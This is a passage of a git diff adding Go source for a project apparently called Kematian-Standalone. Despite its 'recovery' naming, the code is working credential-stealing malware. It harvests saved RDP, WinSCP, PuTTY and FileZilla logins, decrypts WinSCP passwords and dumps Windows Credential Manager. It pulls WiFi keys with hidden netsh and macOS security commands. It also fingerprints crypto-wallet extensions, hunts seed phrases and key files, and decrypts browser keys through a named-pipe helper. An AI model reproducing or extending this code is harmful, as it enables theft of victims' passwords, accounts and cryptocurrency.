uint32(lengthBuf[0]) | uint32(lengthBuf[1])<<8 | uint32(lengthBuf[2])<<16 | uint32(lengthBuf[3])<<24 + if totalLen < 1 || totalLen > 100*1024*1024 { + return 0, nil, fmt.Errorf("invalid message length: %d", totalLen) + } + + buf := make([]byte, totalLen) + totalRead = 0 + for totalRead < totalLen { + var n uint32 + err = windows.ReadFile(s.hPipe, buf[totalRead:], &n, nil) + if err != nil || n == 0 { + return 0, nil, fmt.Errorf("read data: %w", err) + } + totalRead += n + } + + status = buf[0] + data = buf[1:] + return status, data, nil +} + +func (s *PipeSession) Close() { + s.mu.Lock() + defer s.mu.Unlock() + + if s.closed { + return + } + s.closed = true + + s.sendExitLocked() + + time.Sleep(100 * time.Millisecond) + + procDisconnectNamedPipe.Call(uintptr(s.hPipe)) + windows.CloseHandle(s.hPipe) + + if s.ownsProcess && s.hProcess != 0 { + if s.job != 0 { + windows.CloseHandle(s.job) + s.job = 0 + } + windows.TerminateProcess(s.hProcess, 0) + windows.WaitForSingleObject(s.hProcess, 3000) + windows.CloseHandle(s.hProcess) + } else if s.hProcess != 0 { + windows.CloseHandle(s.hProcess) + } +} + +func (s *PipeSession) watchExit(label string, timeoutMs uint32) { + h := s.hProcess + if h == 0 { + return + } + go func() { + ret, _, _ := procWaitForSingleObject.Call(uintptr(h), uintptr(timeoutMs)) + if ret != uintptr(windows.WAIT_OBJECT_0) { + return + } + s.mu.Lock() + wasClosed := s.closed + s.mu.Unlock() + if wasClosed { + return + } + var code uint32 + if err := windows.GetExitCodeProcess(h, &code); err != nil { + return + } + logf("process %d (%s) died before pipe connect (exit code 0x%08x)", s.pid, label, code) + }() +} + +func (s *PipeSession) sendExitLocked() { + exitCmd := []byte("EXIT") + length := uint32(len(exitCmd)) + lengthBytes := []byte{byte(length), byte(length >> 8), byte(length >> 16), byte(length >> 24)} + windows.WriteFile(s.hPipe, lengthBytes, nil, nil) + windows.WriteFile(s.hPipe, exitCmd, nil, nil) +} + +func (s *PipeSession) GetV20Key(browserName string, encKeyBase64 string) ([]byte, error) { + cmd := fmt.Sprintf("KEY:%s:%s", browserName, encKeyBase64) + if err := s.pipeSend([]byte(cmd)); err != nil { + return nil, fmt.Errorf("send KEY command: %w", err) + } + + status, data, err := s.pipeRecv() + if err != nil { + return nil, fmt.Errorf("recv KEY response: %w", err) + } + + if status != 0 { + return nil, fmt.Errorf("decrypt failed: %s", string(data)) + } + + return data, nil +} + +func (s *PipeSession) ReadFile(path string) ([]byte, error) { + cmd := fmt.Sprintf("READ:%s", path) + if err := s.pipeSend([]byte(cmd)); err != nil { + return nil, fmt.Errorf("send READ command: %w", err) + } + + status, data, err := s.pipeRecv() + if err != nil { + return nil, fmt.Errorf("recv READ response: %w", err) + } + + if status != 0 { + return nil, fmt.Errorf("read failed: %s", string(data)) + } + + return data, nil +} + +var ActivePipeSession *PipeSession diff --git a/Kematian-Standalone/native/recovery/platform/pipe_stub.go b/Kematian-Standalone/native/recovery/platform/pipe_stub.go new file mode 100644 index 0000000..35ec816 --- /dev/null +++ b/Kematian-Standalone/native/recovery/platform/pipe_stub.go @@ -0,0 +1,21 @@ +//go:build !windows + +package platform + +import ( + "errors" +) + +type PipeSession struct{} + +var ActivePipeSession *PipeSession + +func (s *PipeSession) Close() {} + +func (s *PipeSession) GetV20Key(browserName string, encKeyBase64 string) ([]byte, error) { + return nil, errors.New("not supported") +} + +func (s *PipeSession) ReadFile(path string) ([]byte, error) { + return nil, errors.New("not supported") +} diff --git a/Kematian-Standalone/native/recovery/recovery.go b/Kematian-Standalone/native/recovery/recovery.go new file mode 100644 index 0000000..b62a84a --- /dev/null +++ b/Kematian-Standalone/native/recovery/recovery.go @@ -0,0 +1,60 @@ +package recovery + +import ( + "recovery/recovery/fingerprint" + "recovery/recovery/scanner" + "recovery/recovery/types" + "recovery/recovery/ziputil" +) + +type CollectOptions = types.CollectOptions +type CollectionResult = types.CollectionResult +type Payload = types.Payload +type BrowserConfig = types.BrowserConfig +type ProfileInfo = types.ProfileInfo +type ResolvedKeys = types.ResolvedKeys +type PasswordResult = types.PasswordResult +type CookieResult = types.CookieResult +type AutofillResult = types.AutofillResult +type HistoryResult = types.HistoryResult +type BookmarkResult = types.BookmarkResult +type CreditCardResult = types.CreditCardResult +type DiscordTokenResult = types.DiscordTokenResult +type FileResult = types.FileResult +type ExtensionResult = types.ExtensionResult +type WalletResult = types.WalletResult +type TelegramResult = types.TelegramResult +type KeyResult = types.KeyResult +type SeedResult = types.SeedResult +type AppCredentialResult = types.AppCredentialResult +type GamingResult = types.GamingResult +type SteamResult = types.SteamResult +type SteamTokenResult = types.SteamTokenResult +type GameInfo = types.GameInfo +type BattleNetResult = types.BattleNetResult +type EpicResult = types.EpicResult +type RiotResult = types.RiotResult +type UplayResult = types.UplayResult +type VPNResult = types.VPNResult +type NordVPNResult = types.NordVPNResult +type WireGuardResult = types.WireGuardResult +type OpenVPNResult = types.OpenVPNResult +type MullvadResult = types.MullvadResult +type FingerprintResult = fingerprint.Result +type FingerprintJSResult = fingerprint.JSResult + +func ScanExtensions() []ExtensionResult { return scanner.ScanExtensions() } +func ScanFiles() []FileResult { return scanner.ScanFiles() } +func ScanWallets() []WalletResult { return scanner.ScanWallets() } +func ScanTelegram() []TelegramResult { return scanner.ScanTelegram() } +func ScanKeys() []KeyResult { return scanner.ScanKeys() } +func ScanApps() []AppCredentialResult { return scanner.ScanApps() } +func FetchFile(path string) ([]byte, error) { return scanner.FetchFile(path) } +func ZipTelegram(path string) ([]byte, error) { return scanner.ZipTelegram(path) } +func ZipDirectory(dir string) ([]byte, error) { return ziputil.ZipDirectory(dir) } +func CollectFingerprint() *FingerprintResult { return fingerprint.Collect() } +func CollectJSFingerprint() *FingerprintJSResult { return fingerprint.CollectJS() } + +func ScanSeeds(files []FileResult, passwords []PasswordResult, autofill []AutofillResult) []SeedResult { + return scanner.ScanSeeds(files, passwords, autofill) +} diff --git a/Kematian-Standalone/native/recovery/scanner/apps_stub.go b/Kematian-Standalone/native/recovery/scanner/apps_stub.go new file mode 100644 index 0000000..d390734 --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/apps_stub.go @@ -0,0 +1,137 @@ +//go:build !windows + +package scanner + +import ( + "encoding/xml" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + + "recovery/recovery/types" +) + +func ScanApps() []types.AppCredentialResult { + var results []types.AppCredentialResult + results = append(results, scanFileZillaUnix()...) + if runtime.GOOS == "darwin" { + results = append(results, scanWiFiDarwin()...) + } + return results +} + +type fzServerUnix struct { + XMLName xml.Name `xml:"Server"` + Host string `xml:"Host"` + Port int `xml:"Port"` + Protocol int `xml:"Protocol"` + User string `xml:"User"` + Pass string `xml:"Pass"` +} + +type fzSiteManagerUnix struct { + XMLName xml.Name `xml:"FileZilla3"` + Servers []fzServerUnix `xml:"Servers>Server"` +} + +type fzRecentServersUnix struct { + XMLName xml.Name `xml:"FileZilla3"` + Servers []fzServerUnix `xml:"RecentServers>Server"` +} + +func scanFileZillaUnix() []types.AppCredentialResult { + var results []types.AppCredentialResult + home, _ := os.UserHomeDir() + if home == "" { + return nil + } + + fzDir := filepath.Join(home, ".config", "filezilla") + if runtime.GOOS == "darwin" { + fzDir = filepath.Join(home, ".config", "filezilla") + } + + for _, file := range []string{"sitemanager.xml", "recentservers.xml"} { + path := filepath.Join(fzDir, file) + data, err := os.ReadFile(path) + if err != nil { + continue + } + + var servers []fzServerUnix + if file == "sitemanager.xml" { + var sm fzSiteManagerUnix + if xml.Unmarshal(data, &sm) == nil { + servers = sm.Servers + } + } else { + var rs fzRecentServersUnix + if xml.Unmarshal(data, &rs) == nil { + servers = rs.Servers + } + } + + for _, s := range servers { + if s.Host == "" { + continue + } + port := s.Port + if port == 0 { + port = 21 + } + protocol := "ftp" + switch s.Protocol { + case 1: + protocol = "sftp" + case 3, 4: + protocol = "ftps" + } + results = append(results, types.AppCredentialResult{ + Application: "FileZilla", + Host: s.Host, + Port: port, + Username: s.User, + Password: s.Pass, + Protocol: protocol, + }) + } + } + + return results +} + +func scanWiFiDarwin() []types.AppCredentialResult { + var results []types.AppCredentialResult + + out, err := exec.Command("/usr/sbin/networksetup", "-listpreferredwirelessnetworks", "en0").Output() + if err != nil { + return nil + } + + var networks []string + for _, line := range strings.Split(string(out), "\n") { + name := strings.TrimSpace(line) + if name == "" || strings.HasPrefix(name, "Preferred networks") { + continue + } + networks = append(networks, name) + } + + for _, name := range networks { + pw, err := exec.Command("security", "find-generic-password", "-wa", name, "-D", "AirPort network password").Output() + password := "" + if err == nil { + password = strings.TrimSpace(string(pw)) + } + results = append(results, types.AppCredentialResult{ + Application: "WiFi", + Host: name, + Password: password, + Protocol: "wifi", + }) + } + + return results +} diff --git a/Kematian-Standalone/native/recovery/scanner/apps_windows.go b/Kematian-Standalone/native/recovery/scanner/apps_windows.go new file mode 100644 index 0000000..a88378b --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/apps_windows.go @@ -0,0 +1,614 @@ +//go:build windows + +package scanner + +import ( + "encoding/xml" + "fmt" + "os" + "os/exec" + "path/filepath" + "strconv" + "strings" + "syscall" + "unsafe" + + "golang.org/x/sys/windows" + "golang.org/x/sys/windows/registry" + + "recovery/recovery/types" +) + +var ( + advapi32 = syscall.NewLazyDLL("advapi32.dll") + procCredEnumerateW = advapi32.NewProc("CredEnumerateW") + procCredFree = advapi32.NewProc("CredFree") +) + +const ( + credTypeGeneric = 1 + credTypeDomainPassword = 2 + credTypeDomainCertificate = 3 +) + +type winCredential struct { + Flags uint32 + Type uint32 + TargetName *uint16 + Comment *uint16 + LastWritten syscall.Filetime + CredentialBlobSize uint32 + CredentialBlob *byte + Persist uint32 + AttributeCount uint32 + Attributes uintptr + TargetAlias *uint16 + UserName *uint16 +} + +func ScanApps() []types.AppCredentialResult { + var results []types.AppCredentialResult + results = append(results, scanRDP()...) + results = append(results, scanWinSCP()...) + results = append(results, scanPuTTY()...) + results = append(results, scanFileZilla()...) + results = append(results, scanCredentialManager()...) + results = append(results, scanWiFi()...) + return results +} + +// ── RDP ──────────────────────────────────────────────────────────────── + +func scanRDP() []types.AppCredentialResult { + var results []types.AppCredentialResult + + // Registry: saved connection history with usernames + k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers`, registry.ENUMERATE_SUB_KEYS|registry.READ) + if err == nil { + defer k.Close() + servers, _ := k.ReadSubKeyNames(-1) + for _, server := range servers { + sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers\`+server, registry.READ) + if err != nil { + continue + } + username, _, _ := sk.GetStringValue("UsernameHint") + sk.Close() + + r := types.AppCredentialResult{ + Application: "RDP", + Host: server, + Port: 3389, + Username: username, + Protocol: "rdp", + } + + // Try to get the password from Credential Manager + pw := credManagerLookup("TERMSRV/" + server) + if pw != "" { + r.Password = pw + } + results = append(results, r) + } + } + + // Also scan Credential Manager for TERMSRV/* entries not in the registry + creds := enumCredentials() + seen := make(map[string]bool) + for _, r := range results { + seen[strings.ToLower(r.Host)] = true + } + for _, c := range creds { + target := strings.ToLower(c.target) + if !strings.HasPrefix(target, "termsrv/") { + continue + } + host := c.target[len("TERMSRV/"):] + if seen[strings.ToLower(host)] { + continue + } + results = append(results, types.AppCredentialResult{ + Application: "RDP", + Host: host, + Port: 3389, + Username: c.username, + Password: c.password, + Protocol: "rdp", + }) + } + + // Scan for .rdp files + results = append(results, scanRDPFiles()...) + + return results +} + +func scanRDPFiles() []types.AppCredentialResult { + var results []types.AppCredentialResult + home, _ := os.UserHomeDir() + if home == "" { + return nil + } + + dirs := []string{ + filepath.Join(home, "Desktop"), + filepath.Join(home, "Documents"), + filepath.Join(home, "Downloads"), + } + + for _, dir := range dirs { + entries, err := os.ReadDir(dir) + if err != nil { + continue + } + for _, e := range entries { + if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".rdp") { + continue + } + path := filepath.Join(dir, e.Name()) + data, err := os.ReadFile(path) + if err != nil || len(data) == 0 { + continue + } + r := parseRDPFile(string(data)) + if r.Host != "" { + r.Extra = path + results = append(results, r) + } + } + } + + return results +} + +func parseRDPFile(content string) types.AppCredentialResult { + r := types.AppCredentialResult{ + Application: "RDP", + Protocol: "rdp", + Port: 3389, + } + for _, line := range strings.Split(content, "\n") { + line = strings.TrimSpace(line) + parts := strings.SplitN(line, ":", 3) + if len(parts) < 3 { + continue + } + key := strings.ToLower(strings.TrimSpace(parts[0])) + val := strings.TrimSpace(parts[2]) + switch key { + case "full address": + if idx := strings.LastIndex(val, ":"); idx > 0 { + if p, err := strconv.Atoi(val[idx+1:]); err == nil { + r.Host = val[:idx] + r.Port = p + continue + } + } + r.Host = val + case "username": + r.Username = val + case "server port": + if p, err := strconv.Atoi(val); err == nil { + r.Port = p + } + } + } + return r +} + +// ── WinSCP ───────────────────────────────────────────────────────────── + +func scanWinSCP() []types.AppCredentialResult { + var results []types.AppCredentialResult + + k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ) + if err != nil { + return nil + } + defer k.Close() + + sessions, _ := k.ReadSubKeyNames(-1) + for _, sess := range sessions { + if sess == "Default%20Settings" { + continue + } + sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions\`+sess, registry.READ) + if err != nil { + continue + } + + hostname, _, _ := sk.GetStringValue("HostName") + username, _, _ := sk.GetStringValue("UserName") + portNum, _, _ := sk.GetIntegerValue("PortNumber") + encPassword, _, _ := sk.GetStringValue("Password") + fsProtocol, _, _ := sk.GetIntegerValue("FSProtocol") + sk.Close() + + if hostname == "" { + continue + } + + port := int(portNum) + if port == 0 { + port = 22 + } + + protocol := "sftp" + switch fsProtocol { + case 0: + protocol = "sftp" + case 5: + protocol = "ftp" + case 1: + protocol = "scp" + } + + password := "" + if encPassword != "" { + password = decryptWinSCPPassword(encPassword, hostname, username) + } + + results = append(results, types.AppCredentialResult{ + Application: "WinSCP", + Host: hostname, + Port: port, + Username: username, + Password: password, + Protocol: protocol, + }) + } + + return results +} + +func decryptWinSCPPassword(hex, hostname, username string) string { + key := username + hostname + + decNextChar := func(s string, idx int) (byte, int) { + if idx+2 > len(s) { + return 0, idx + 2 + } + a, err1 := strconv.ParseUint(string(s[idx]), 16, 8) + b, err2 := strconv.ParseUint(string(s[idx+1]), 16, 8) + if err1 != nil || err2 != nil { + return 0, idx + 2 + } + return byte(0xFF ^ ((a<<4 | b) ^ 0xA3)), idx + 2 + } + + idx := 0 + flag, idx := decNextChar(hex, idx) + + if flag == 0xFF { + return "" + } + + _, idx = decNextChar(hex, idx) // skip unused byte + + length, idx := decNextChar(hex, idx) + + delLen, idx := decNextChar(hex, idx) + for i := 0; i < int(delLen); i++ { + _, idx = decNextChar(hex, idx) + } + + raw := make([]byte, 0, int(length)) + for i := 0; i < int(length); i++ { + c, newIdx := decNextChar(hex, idx) + idx = newIdx + raw = append(raw, c) + } + + if len(key) > 0 { + decrypted := make([]byte, len(raw)) + for i, c := range raw { + decrypted[i] = c ^ key[i%len(key)] + } + return string(decrypted) + } + + return string(raw) +} + +// ── PuTTY ────────────────────────────────────────────────────────────── + +func scanPuTTY() []types.AppCredentialResult { + var results []types.AppCredentialResult + + k, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ) + if err != nil { + return nil + } + defer k.Close() + + sessions, _ := k.ReadSubKeyNames(-1) + for _, sess := range sessions { + if sess == "Default%20Settings" { + continue + } + sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions\`+sess, registry.READ) + if err != nil { + continue + } + + hostname, _, _ := sk.GetStringValue("HostName") + username, _, _ := sk.GetStringValue("UserName") + portNum, _, _ := sk.GetIntegerValue("PortNumber") + protocol, _, _ := sk.GetStringValue("Protocol") + keyFile, _, _ := sk.GetStringValue("PublicKeyFile") + proxyHost, _, _ := sk.GetStringValue("ProxyHost") + sk.Close() + + if hostname == "" { + continue + } + + port := int(portNum) + if port == 0 { + port = 22 + } + if protocol == "" { + protocol = "ssh" + } + + extra := "" + if keyFile != "" || proxyHost != "" { + parts := []string{} + if keyFile != "" { + parts = append(parts, "key:"+keyFile) + } + if proxyHost != "" { + parts = append(parts, "proxy:"+proxyHost) + } + extra = strings.Join(parts, "; ") + } + + // URL-decode session name for display purposes + decodedName := strings.ReplaceAll(sess, "%20", " ") + _ = decodedName + + results = append(results, types.AppCredentialResult{ + Application: "PuTTY", + Host: hostname, + Port: port, + Username: username, + Protocol: protocol, + Extra: extra, + }) + } + + return results +} + +// ── FileZilla ────────────────────────────────────────────────────────── + +type fzServer struct { + XMLName xml.Name `xml:"Server"` + Host string `xml:"Host"` + Port int `xml:"Port"` + Protocol int `xml:"Protocol"` + User string `xml:"User"` + Pass string `xml:"Pass"` +} + +type fzSiteManager struct { + XMLName xml.Name `xml:"FileZilla3"` + Servers []fzServer `xml:"Servers>Server"` +} + +type fzRecentServers struct { + XMLName xml.Name `xml:"FileZilla3"` + Servers []fzServer `xml:"RecentServers>Server"` +} + +func scanFileZilla() []types.AppCredentialResult { + var results []types.AppCredentialResult + + appdata := os.Getenv("APPDATA") + if appdata == "" { + return nil + } + fzDir := filepath.Join(appdata, "FileZilla") + + for _, file := range []string{"sitemanager.xml", "recentservers.xml"} { + path := filepath.Join(fzDir, file) + data, err := os.ReadFile(path) + if err != nil { + continue + } + + var servers []fzServer + if file == "sitemanager.xml" { + var sm fzSiteManager + if xml.Unmarshal(data, &sm) == nil { + servers = sm.Servers + } + } else { + var rs fzRecentServers + if xml.Unmarshal(data, &rs) == nil { + servers = rs.Servers + } + } + + for _, s := range servers { + if s.Host == "" { + continue + } + port := s.Port + if port == 0 { + port = 21 + } + protocol := "ftp" + switch s.Protocol { + case 1: + protocol = "sftp" + case 3, 4: + protocol = "ftps" + } + + results = append(results, types.AppCredentialResult{ + Application: "FileZilla", + Host: s.Host, + Port: port, + Username: s.User, + Password: s.Pass, + Protocol: protocol, + }) + } + } + + return results +} + +// ── Windows Credential Manager ───────────────────────────────────────── + +type credEntry struct { + target string + username string + password string + credType uint32 +} + +func enumCredentials() []credEntry { + var count uint32 + var credsPtr uintptr + + ret, _, _ := procCredEnumerateW.Call( + 0, + 0, + uintptr(unsafe.Pointer(&count)), + uintptr(unsafe.Pointer(&credsPtr)), + ) + if ret == 0 || count == 0 { + return nil + } + defer procCredFree.Call(credsPtr) + + var results []credEntry + for i := uint32(0); i < count; i++ { + entryPtr := *(*uintptr)(unsafe.Pointer(credsPtr + uintptr(i)*unsafe.Sizeof(uintptr(0)))) + c := (*winCredential)(unsafe.Pointer(entryPtr)) + target := windows.UTF16PtrToString(c.TargetName) + username := "" + if c.UserName != nil { + username = windows.UTF16PtrToString(c.UserName) + } + password := "" + if c.CredentialBlobSize > 0 && c.CredentialBlob != nil { + blob := unsafe.Slice(c.CredentialBlob, c.CredentialBlobSize) + password = string(blob) + } + results = append(results, credEntry{ + target: target, + username: username, + password: password, + credType: c.Type, + }) + } + return results +} + +func credManagerLookup(target string) string { + target = strings.ToLower(target) + for _, c := range enumCredentials() { + if strings.ToLower(c.target) == target { + return c.password + } + } + return "" +} + +func scanCredentialManager() []types.AppCredentialResult { + var results []types.AppCredentialResult + + for _, c := range enumCredentials() { + target := strings.ToLower(c.target) + // Skip TERMSRV entries (already handled by RDP scanner) + if strings.HasPrefix(target, "termsrv/") { + continue + } + // Skip entries with no useful data + if c.username == "" && c.password == "" { + continue + } + + typeName := "generic" + switch c.credType { + case credTypeDomainPassword: + typeName = "domain" + case credTypeDomainCertificate: + typeName = "certificate" + } + + results = append(results, types.AppCredentialResult{ + Application: "CredManager", + Host: c.target, + Username: c.username, + Password: c.password, + Protocol: typeName, + }) + } + + return results +} + +// ── WiFi ─────────────────────────────────────────────────────────────── + +func scanWiFi() []types.AppCredentialResult { + var results []types.AppCredentialResult + + cmd := exec.Command("netsh", "wlan", "show", "profiles") + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW} + out, err := cmd.Output() + if err != nil { + return nil + } + + var profiles []string + for _, line := range strings.Split(string(out), "\n") { + line = strings.TrimSpace(line) + if idx := strings.Index(line, ": "); idx >= 0 { + lower := strings.ToLower(line[:idx]) + if strings.Contains(lower, "all user profile") || strings.Contains(lower, "profil") { + name := strings.TrimSpace(line[idx+2:]) + if name != "" { + profiles = append(profiles, name) + } + } + } + } + + for _, name := range profiles { + cmd := exec.Command("netsh", "wlan", "show", "profile", fmt.Sprintf("name=%s", name), "key=clear") + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW} + out, err := cmd.Output() + if err != nil { + continue + } + + password := "" + auth := "" + for _, line := range strings.Split(string(out), "\n") { + line = strings.TrimSpace(line) + if idx := strings.Index(line, ": "); idx >= 0 { + lower := strings.ToLower(line[:idx]) + val := strings.TrimSpace(line[idx+2:]) + if strings.Contains(lower, "key content") || strings.Contains(lower, "contenu") { + password = val + } else if strings.Contains(lower, "authentication") || strings.Contains(lower, "authentification") { + auth = val + } + } + } + + results = append(results, types.AppCredentialResult{ + Application: "WiFi", + Host: name, + Username: auth, + Password: password, + Protocol: "wifi", + }) + } + + return results +} diff --git a/Kematian-Standalone/native/recovery/scanner/extensions.go b/Kematian-Standalone/native/recovery/scanner/extensions.go new file mode 100644 index 0000000..527254c --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/extensions.go @@ -0,0 +1,147 @@ +package scanner + +import ( + "encoding/json" + "os" + "path/filepath" + "strings" + + "recovery/recovery/browser" + "recovery/recovery/types" +) + +var knownWalletExtensions = map[string]string{ + "bhghoamapcdpbohphigoooaddinpkbai": "Authenticator", + "fhbohimaelbohpjbbldcngcnapndodjp": "Binance", + "fihkakfobkmkjojpchpfgcmhfjnmnfpi": "Bitapp", + "aodkkagnadcbobfpggfnjeongemjbjca": "BoltX", + "aeachknmefphepccionboohckonoeemg": "Coin98", + "hnfanknocfeofbddgcijnmhnfnkdnaad": "Coinbase", + "agoakfejjabomempkjlepdflaleeobhb": "Core", + "pnlfjmlcjdjgkddecgincndfgegkecke": "Crocobit", + "blnieiiffboillknjnepogjhkgnoapac": "Equal", + "cgeeodpfagjceefieflmdfphplkenlfk": "Ever", + "aholpfdialjgjfhomihkjbmgjidlcdno": "ExodusWeb3", + "ebfidpplhabeedpnhjnobghokpiioolj": "Fewcha", + "cjmkndjhnagcfbpiemnkdpomccnjblmj": "Finnie", + "hpglfhgfnhbgpjdenjgmdgoeiappafln": "Guarda", + "nanjmdknhkinifnkgdcggcfnhdaammmj": "Guild", + "fnnegphlobjdpkhecapkijjdkgcjhkib": "Harmony", + "flpiciilemghbmfalicajoolhkkenfel": "Iconex", + "cjelfplplebdjjenllpjcblmjkfcffne": "Jaxx Liberty", + "jblndlipeogpafnldhgmapagcccfchpi": "Kaikas", + "pdadjkfkgcafgbceimcpbkalnfnepbnk": "KardiaChain", + "dmkamcknogkgcdfhhbddcghachkejeap": "Keplr", + "kpfopkelmapcoipemfendmdcghnegimn": "Liquality", + "nlbmnnijcnlegkjjpcfjclmcfggfefdm": "MEWCX", + "dngmlblcodfobpdpecaadgfbcggfjfnm": "MaiarDEFI", + "efbglgofoippbgcjepnhiblaibcnclgk": "Martian", + "afbcbjpbpfadlkmhmclhkeeodmamcflc": "Math", + "nkbihfbeogaeaoehlefnkodbefgpgknn": "Metamask", + "ejbalbakoplchlghecdalmeeeajnimhm": "Metamask", + "fcckkdbjnoikooededlapcalpionmalo": "Mobox", + "lpfcbjknijpeeillifnkikgncikgfhdo": "Nami", + "jbdaocneiiinmjbjlgalhcelgbejmnid": "Nifty", + "fhilaheimglignddkjgofkcbgekhenbh": "Oxygen", + "mgffkfbidihjpoaomajlbgchddlicgpn": "PaliWallet", + "ejjladinnckdgjemekebdpeokbikhfci": "Petra", + "bfnaelmomeimhlpmgjnjophhpkkoljpa": "Phantom", + "phkbamefinggmakgklpkljjmgibohnba": "Pontem", + "fnjhmkhhmkbjkkabndcnnogagogbneec": "Ronin", + "lgmpcpglpngdoalbgeoldeajfclnhafa": "Safepal", + "nkddgncdjgjfcddamfgcmfnlhccnimig": "Saturn", + "pocmplpaccanhmnllbbkpgfliimjljgo": "Slope", + "bhhhlbepdkbapadjdnnojkbgioiodbic": "Solflare", + "fhmfendgdocmcbmfikdcogofphimnkno": "Sollet", + "mfhbebgoclkghebffdldpobeajmbecfk": "Starcoin", + "cmndjbecilbocjfkibfbifhngkdmjgog": "Swash", + "ookjlbkiijinhpmnjffcofjonbfbgaoc": "TempleTezos", + "aiifbnbfobpmeekipheeijimdpnlpgpp": "TerraStation", + "mfgccjchihfkkindfppnaooecgfneiii": "Tokenpocket", + "nphplpgoakhhjchkkhmiggakijnkhfnd": "Ton", + "ibnejdfjmmkpcnlpebklmnkoeoihofec": "Tron", + "egjidjbpglichdcondbcbdnbeeppgdph": "Trust Wallet", + "amkmjjmmflddogmhpjloimipbofnfjih": "Wombat", + "hmeobnfnfcmdkdcmlblgagmfpfboieaf": "XDEFI", + "eigblbgjknlfbajkfhopmcojidlgcehm": "XMR.PT", + "bocpokimicclpaiekenaeelehdjllofo": "XinPay", + "ffnbelfdoeiohenkjibnmadjiehjhajb": "Yoroi", + "kncchdigobghenbbaddojjnnaogfppfj": "iWallet", +} + +func ScanExtensions() []types.ExtensionResult { + var results []types.ExtensionResult + for _, cfg := range browser.Browsers { + if cfg.IsFirefox { + continue + } + profiles := browser.FindProfileDirs(cfg) + for _, profile := range profiles { + extDir := filepath.Join(profile.Path, "Extensions") + entries, err := os.ReadDir(extDir) + if err != nil { + continue + } + for _, e := range entries { + if !e.IsDir() { + continue + } + extID := e.Name() + // Skip internal Chromium marker dirs + if strings.HasPrefix(extID, "_") { + continue + } + extIDDir := filepath.Join(extDir, extID) + versionDirs, err := os.ReadDir(extIDDir) + if err != nil { + continue + } + for _, vd := range versionDirs { + if !vd.IsDir() { + continue + } + versionPath := filepath.Join(extIDDir, vd.Name()) + name, version := readManifestBasics(filepath.Join(versionPath, "manifest.json")) + category := "" + if walletName, ok := knownWalletExtensions[extID]; ok { + category = "wallet" + if name == "" { + name = walletName + } + } + results = append(results, types.ExtensionResult{ + ExtID: extID, + Name: name, + Version: version, + Browser: cfg.Name, + Profile: profile.Name, + Path: versionPath, + Category: category, + }) + break // first version directory only + } + } + } + } + return results +} + +type manifestBasics struct { + Name string `json:"name"` + Version string `json:"version"` +} + +func readManifestBasics(path string) (name, version string) { + data, err := os.ReadFile(path) + if err != nil { + return "", "" + } + var m manifestBasics + if err := json.Unmarshal(data, &m); err != nil { + return "", "" + } + if strings.HasPrefix(m.Name, "__MSG_") { + m.Name = "" + } + return m.Name, m.Version +} diff --git a/Kematian-Standalone/native/recovery/scanner/files.go b/Kematian-Standalone/native/recovery/scanner/files.go new file mode 100644 index 0000000..136960d --- /dev/null +++ b/Kematian-Standalone/native/recovery/scanner/files.go @@ -0,0 +1,170 @@ +package scanner + +import ( + "fmt" + "os" + "path/filepath" + "strings" + + "recovery/recovery/types" +) + +const ( + maxFiles = 500 + maxScanDepth = 3 + maxFileSizeList = 100 * 1024 * 1024 // 100 MB — skip larger files from listing + MaxFetchSize = 10 * 1024 * 1024 // 10 MB — max content returned per fetch +) + +var targetExtensions = map[string]bool{ + // Office documents + ".docx": true, ".doc": true, ".docm": true, + ".xlsx": true, ".xls": true, ".xlsm": true, + ".pptx": true, ".ppt": true, ".pptm": true, + ".odt": true, ".ods": true, ".odp": true, + // Plain text / markup + ".txt": true, ".rtf": true, ".md": true, + ".csv": true, ".tsv": true, + // PDFs + ".pdf": true, + // Archives (metadata only — content not fetched automatically) + ".zip": true, ".7z": true, ".rar": true, ".tar": true, ".gz": true, + // Credential / key files + ".kdbx": true, ".key": true, ".pem": true, + ".p12": true, ".pfx": true, ".ppk": true, ".jks": true, + // Dotenv — commonly stores API keys and secrets + ".env": true, + // Images — IDs, passports, screenshots of credentials, seed phrases + ".jpg": true, ".jpeg": true, ".png": true, ".gif": true, + ".bmp": true, ".webp": true, ".tiff": true, ".tif": true, + ".heic": true, ".heif": true, +} + +// seedPhraseLengths are the BIP39 word counts we consider suspicious. +var seedPhraseLengths = map[int]bool{12: true, 20: true, 24: true} + +type scanLocation struct { + subPath string + label string +} + +// ScanFiles walks common user locations and returns matching file metadata. +// At most maxFiles results are returned. Files larger than maxFileSizeList are skipped. +func ScanFiles() []types.FileResult { + home, _ := os.UserHomeDir() + if home == "" { + return nil + } + + var results []types.FileResult + seen := make(map[string]bool) + + for _, loc := range getScanLocations() { + dir := filepath.Join(home, loc.subPath) + scanDir(dir, loc.label, 0, &results, seen) + if len(results) >= maxFiles { + break + } + } + + return results +} + +func scanDir(dir, label string, depth int, results *[]types.FileResult, seen map[string]bool) { + if depth > maxScanDepth || len(*results) >= maxFiles { + return + } + + entries, err := os.ReadDir(dir) + if err != nil { + return + } + + for _, e := range entries { + if len(*results) >= maxFiles { + return + } + + name := e.Name() + // skip hidden / system files + if strings.HasPrefix(name, ".") || strings.HasPrefix(name, "$") { + continue + } + + fullPath := filepath.Join(dir, name) + + if e.IsDir() { + scanDir(fullPath, label, depth+1, results, seen) + continue + } + + ext := strings.ToLower(filepath.Ext(name)) + if !targetExtensions[ext] { + continue + } + + if seen[fullPath] { + continue + } + seen[fullPath] = true + + info, err := e.Info() + if err != nil { + continue + } + + if info.Size() > maxFileSizeList { + continue + } + + var tags []string + if contentTags := 